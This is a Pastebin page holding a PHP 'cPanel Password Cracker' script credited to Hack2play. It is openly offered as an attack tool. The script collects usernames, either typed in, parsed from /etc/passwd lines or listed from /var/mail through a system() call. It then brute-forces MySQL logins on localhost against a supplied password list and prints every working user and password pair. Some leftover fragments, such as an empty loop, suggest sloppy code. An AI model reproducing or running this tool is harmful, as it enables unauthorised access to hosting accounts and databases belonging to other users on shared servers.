Advertisement
liT2lemhu

Cpanel Cracker (Php Script)

Jul 15th, 2013
8,056
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. /*How to use: http://lit2le.blogspot.com/2013/07/tut-cpanel-cracking.html */
  4.  
  5. @set_time_limit(0);
  6. @error_reporting(0);
  7.  
  8.  
  9. echo '<html>
  10. <title>cPanel Password Cracker</title>
  11. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  12. <head>
  13.  
  14. <style type="text/css">
  15. <!--
  16. body {
  17.     background-color: #000000;
  18.    font-size: 18px;
  19.     color: #cccccc;
  20. }
  21. input,textarea,select{
  22. font-weight: bold;
  23. color: #cccccc;
  24. dashed #ffffff;
  25. border: 1px
  26. solid #2C2C2C;
  27. background-color: #080808
  28. }
  29. a {
  30.     background-color: #151515;
  31.     vertical-align: bottom;
  32.     color: #000;
  33.     text-decoration: none;
  34.     font-size: 20px;
  35.     margin: 8px;
  36.     padding: 6px;
  37.     border: thin solid #000;
  38. }
  39. a:hover {
  40.     background-color: #080808;
  41.     vertical-align: bottom;
  42.     color: #333;
  43.     text-decoration: none;
  44.     font-size: 20px;
  45.     margin: 8px;
  46.     padding: 6px;
  47.     border: thin solid #000;
  48. }
  49. .style1 {
  50.     text-align: center;
  51. }
  52. .style2 {
  53.     color: #FFFFFF;
  54.     font-weight: bold;
  55. }
  56. .style3 {
  57.     color: #FFFFFF;
  58. }
  59. -->
  60. </style>
  61.  
  62. </head>
  63. ';
  64.  
  65. if($_POST['page']=='find')
  66. {
  67. if(isset($_POST['usernames']) && isset($_POST['passwords']))
  68. {
  69.     if($_POST['type'] == 'passwd'){
  70.         $e = explode("\n",$_POST['usernames']);
  71.         foreach($e as $value){
  72.         $k = explode(":",$value);
  73.         $username .= $k['0']." ";
  74.         }
  75.     }elseif($_POST['type'] == 'simple'){
  76.         $username = str_replace("\n",' ',$_POST['usernames']);
  77.     }
  78.     $a1 = explode(" ",$username);
  79.     $a2 = explode("\n",$_POST['passwords']);
  80.     $id2 = count($a2);
  81.     $ok = 0;
  82.     foreach($a1 as $user )
  83.     {
  84.         if($user !== '')
  85.         {
  86.         $user=trim($user);
  87.          for($i=0;$i<=$id2;$i++)
  88.          {
  89.             $pass = trim($a2[$i]);
  90.             if(@mysql_connect('localhost',$user,$pass))
  91.             {
  92.                 echo "User is (<b><font color=green>$user</font></b>) Password is (<b><font color=red>$pass</font></b>)<br />";
  93.                 $ok++;
  94.             }
  95.          }
  96.         }
  97.     }
  98.     echo "<hr><b>You Found <font color=red>$ok</font> Cpanel (Hacking Sec)</b>";
  99.     echo "<center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
  100.     exit;
  101. }
  102. }
  103. ?>
  104.  
  105. <form method="POST" target="_blank">
  106.     <strong>
  107. <input name="page" type="hidden" value="find">                     
  108.     </strong>
  109.     <table width="600" border="0" cellpadding="3" cellspacing="1" align="center">
  110.     <tr>
  111.         <td valign="top" bgcolor="#151515"><center><strong><img src="http://www.medianama.com/wp-content/uploads/anonymous.jpg" /><br>
  112.         </strong>
  113.         <a href="http://www.hack2play.blogspot.com" class="style2"><strong>Cpanel Cracker By Hack2play</strong></a></center></td>
  114.     </tr>
  115.     <tr>
  116.     <td>
  117.     <table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
  118.     <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  119.     <strong>User :</strong></td>
  120.     <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="40" rows="10" name="usernames"></textarea></strong></td>
  121.     </tr>
  122.     <tr>
  123.     <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  124.     <strong>Pass :</strong></td>
  125.     <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="40" rows="10" name="passwords"></textarea></strong></td>
  126.     </tr>
  127.     <tr>
  128.     <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  129.     <strong>Type :</strong></td>
  130.     <td valign="top" bgcolor="#151515" colspan="5">
  131.     <span class="style2"><strong>Simple : </strong> </span>
  132.     <strong>
  133.     <input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
  134.     <font class="style2"><strong>/etc/passwd : </strong> </font>
  135.     <strong>
  136.     <input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
  137.     </strong>
  138.     </span>
  139.     </td>
  140.     </tr>
  141.     <tr>
  142.     <td valign="top" bgcolor="#151515" style="width: 139px"></td>
  143.     <td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="start">
  144.   </form>
  145.     </strong>
  146.     </td>
  147.     </tr>
  148.      </table>
  149.  
  150. <form style="border: 0px ridge #FFFFFF">
  151. <p align="center">
  152. <div align="center">
  153. <input type="submit"   name="user" value="user"><option value="name"></select>
  154. </form>
  155.  
  156.  
  157. <div align="center">
  158.  <table border="5" width="10%" bordercolorlight="#008000" bordercolordark="#006A00" height="100" cellspacing="5">
  159. <tr>
  160. <td bordercolorlight="#008000" bordercolordark="#006A00">
  161. <p align="left">
  162. <textarea  method='POST' rows="25" name="S1" cols="16">
  163.  
  164.  
  165. <?php
  166.  
  167.  
  168.  
  169.       if ($_GET['user'] )
  170.  
  171.  
  172.       system('ls /var/mail');
  173.  
  174.  
  175.  
  176.  
  177.  
  178.                                            for($uid=0;$uid<90000;$uid++){
  179.  
  180.                                         }
  181.  
  182.  
  183.  
  184.  
  185. ?></textarea>
  186.  
  187. </body>
  188. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement